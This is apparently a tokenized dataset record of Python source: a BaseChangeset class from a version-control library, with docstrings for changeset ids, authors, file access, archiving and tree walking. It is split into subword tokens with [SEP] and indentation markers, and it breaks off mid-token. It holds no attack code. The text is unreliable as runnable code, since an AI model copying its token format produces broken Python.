")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "list", " ", "of", " ", "child", "ren", " ", "changeset", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "string", " ", "identify", "ing", " ", "this", " ", "changeset", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "raw", "\\u", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "raw", " ", "string", " ", "identify", "ing", " ", "this", " ", "changeset", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "short", "\\u", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "shorten", "ed", " ", "version", " ", "of", " ", "``", "raw", "\\u", "id", "``", " ", "attribute", ",", " ", "as", " ", "string", ",", "\\", "10", ";", " ", " ", " ", " ", "identify", "ing", " ", "this", " ", "changeset", ",", " ", "usef", "ul", " ", "for", " ", "web", " ", "represent", "ation", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "revision_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "integ", "er", " ", "identify", "ing", " ", "this", " ", "changeset", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "committer", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "Committe", "r", " ", "for", " ", "give", "n", " ", "commit", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "committer", "\\u", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "Author", " ", "name", " ", "for", " ", "give", "n", " ", "commit", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "author", "\\u", "name_", "(_", "self_", "._", "committer", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "committer", "\\u", "email_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "Author", " ", "email", " ", "address", " ", "for", " ", "give", "n", " ", "commit", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "author", "\\u", "email_", "(_", "self_", "._", "committer", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "author_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "Author", " ", "for", " ", "give", "n", " ", "commit", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "author", "\\u", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "Author", " ", "name", " ", "for", " ", "give", "n", " ", "commit", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "author", "\\u", "name_", "(_", "self_", "._", "author_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "author", "\\u", "email_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "Author", " ", "email", " ", "address", " ", "for", " ", "give", "n", " ", "commit", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "author", "\\u", "email_", "(_", "self_", "._", "author_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "file", "\\u", "mode_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "stat", " ", "mode", " ", "of", " ", "the", " ", "file", " ", "at", " ", "the", " ", "give", "n", " ", "``", "path", "``.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "file", "\\u", "content_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "content", " ", "of", " ", "the", " ", "file", " ", "at", " ", "the", " ", "give", "n", " ", "``", "path", "``.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "file", "\\u", "size_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "size", " ", "of", " ", "the", " ", "file", " ", "at", " ", "the", " ", "give", "n", " ", "``", "path", "``.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "file", "\\u", "changeset_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "last", " ", "commit", " ", "of", " ", "the", " ", "file", " ", "at", " ", "the", " ", "give", "n", " ", "``", "path", "``.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "file", "\\u", "history_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "histo", "ry", " ", "of", " ", "file", " ", "as", " ", "reverse", "d", " ", "list", " ", "of", " ", "``", "Change", "set", "``", " ", "object", "s", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "whi", "ch", " ", "file", " ", "at", " ", "give", "n", " ", "``", "path", "``", " ", "has", " ", "bee", "n", " ", "modifi", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "nodes_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "combin", "ed", " ", "``", "Dir", "Node", "``", " ", "and", " ", "``", "File", "Node", "``", " ", "object", "s", " ", "list", " ", "represent", "ing", "\\", "10", ";", " ", " ", " ", " ", "state", " ", "of", " ", "changeset", " ", "at", " ", "the", " ", "give", "n", " ", "``", "path", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "raise", "s", " ", "``", "Change", "set", "Error", "``", ":", " ", "if", " ", "node", " ", "at", " ", "the", " ", "give", "n", " ", "``", "path", "``", " ", "is", " ", "not", "\\", "10", ";", " ", " ", "instance", " ", "of", " ", "``", "Dir", "Node", "``", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "node_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "``", "Node", "``", " ", "object", " ", "from", " ", "the", " ", "give", "n", " ", "``", "path", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "raise", "s", " ", "``", "Node", "Do", "es", "Not", "Exist", "Error", "``", ":", " ", "if", " ", "there", " ", "is", " ", "no", " ", "node", " ", "at", " ", "the", " ", "give", "n", "\\", "10", ";", " ", " ", "``", "path", "``", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fill", "\\u", "archive_", "(_", "self_", ",_", "stream_", "=_", "None_", ",_", "kind_", "=_", "'", "tg", "z", "'_", ",_", "prefix_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Fil", "ls", " ", "up", " ", "give", "n", " ", "stream", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "stream", ":", " ", "file", " ", "like", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "kind", ":", " ", "one", " ", "of", " ", "follow", "ing", ":", " ", "``", "zip", "``", ",", " ", "``", "tar", "``", ",", " ", "``", "tg", "z", "``", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "``", "tb", "z", "2", "``.", " ", "Default", ":", " ", "``", "tg", "z", "``.", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "prefix", ":", " ", "name", " ", "of", " ", "root", " ", "director", "y", " ", "in", " ", "archive", ".", "\\", "10", ";", " ", " ", " ", " ", "Default", " ", "is", " ", "repos", "itor", "y", " ", "name", " ", "and", " ", "changeset", "'", "s", " ", "raw", "\\u", "id", " ", "joine", "d", " ", "with", " ", "dash", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "repo", "-", "tip", ".", "<", "kind", ">", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "chunked", "\\u", "archive_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "iterable", " ", "archive", ".", " ", "Tin", "y", " ", "wrapp", "er", " ", "aro", "und", " ", "``", "fill", "\\u", "archive", "``", " ", "method", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "chunk", "\\u", "size", ":", " ", "extra", " ", "parameter", " ", "whi", "ch", " ", "controls", " ", "size", " ", "of", " ", "return", "ed", "\\", "10", ";", " ", " ", " ", " ", "chunks", ".", " ", "Default", ":", "8", "k", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "chunk", "\\u", "size_", "=_", "kwargs_", "._", "pop_", "(_", "'", "chunk", "\\u", "size", "'_", ",_", "8192_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stream_", "=_", "kwargs_", "._", "get_", "(_", "'", "stream", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fill", "\\u", "archive_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "stream_", "._", "read_", "(_", "chunk", "\\u", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "root_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "``", "Roo", "t", "Node", "``", " ", "object", " ", "for", " ", "this", " ", "changeset", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "get", "\\u", "node_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "next_", "(_", "self_", ",_", "branch_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "next", " ", "changeset", " ", "from", " ", "current", ",", " ", "if", " ", "branch", " ", "is", " ", "give", "s", " ", "it", " ", "will", " ", "return", "\\", "10", ";", " ", " ", " ", " ", "next", " ", "changeset", " ", "belonging", " ", "to", " ", "this", " ", "branch", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "branch", ":", " ", "show", " ", "changeset", "s", " ", "within", " ", "the", " ", "give", "n", " ", "named", " ", "branch", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "prev_", "(_", "self_", ",_", "branch_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "previ", "ous", " ", "changeset", " ", "from", " ", "current", ",", " ", "if", " ", "branch", " ", "is", " ", "give", "s", " ", "it", " ", "will", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "previ", "ous", " ", "changeset", " ", "belonging", " ", "to", " ", "this", " ", "branch", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "branch", ":", " ", "show", " ", "changeset", "s", " ", "within", " ", "the", " ", "give", "n", " ", "named", " ", "branch", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "added_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "list", " ", "of", " ", "adde", "d", " ", "``", "File", "Node", "``", " ", "object", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "changed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "list", " ", "of", " ", "modifi", "ed", " ", "``", "File", "Node", "``", " ", "object", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "removed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "list", " ", "of", " ", "remove", "d", " ", "``", "File", "Node", "``", " ", "object", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "La", "zy", "Property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "total", " ", "number", " ", "of", " ", "bytes", " ", "from", " ", "content", "s", " ", "of", " ", "all", " ", "filen", "odes", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "sum_", "(_", "(_", "node_", "._", "size_", "for_", "node_", "in_", "self_", "._", "get", "\\u", "filen", "odes", "\\u", "generator_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "walk_", "(_", "self_", ",_", "top", "url_", "=_", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Simil", "ar", " ", "to", " ", "os", ".", "walk", " ", "method", ".", " ", "Ins", "ted", " ", "of", " ", "filesystem", " ", "it", " ", "walk", "s", " ", "through", "\\", "10", ";", " ", " ", " ", " ", "changeset", " ", "startin", "g", " ", "at", " ", "give", "n", " ", "``", "top", "url", "``.", " ", " ", "Return", "s", " ", "generat", "or", " ", "of", " ", "tuple", "s", "\\", "10", ";", " ", " ", " ", " ", "(", "top", "node", ",", " ", "dir", "nodes", ",", " ", "filen", "odes", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top", "node_", "=_", "self_", "._", "get", "\\u", "node_", "(_", "top", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "(_", "top", "node_", ",_", "top", "node_", "._", "dirs_", ",_", "top", "node_", "._", "files_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "dir", "node_", "in_", "top", "node_", "._", "dirs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "tup_", "in_", "self_", "._", "walk_", "(_", "dir", "node_", "._", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "tup_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Change", "set_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", 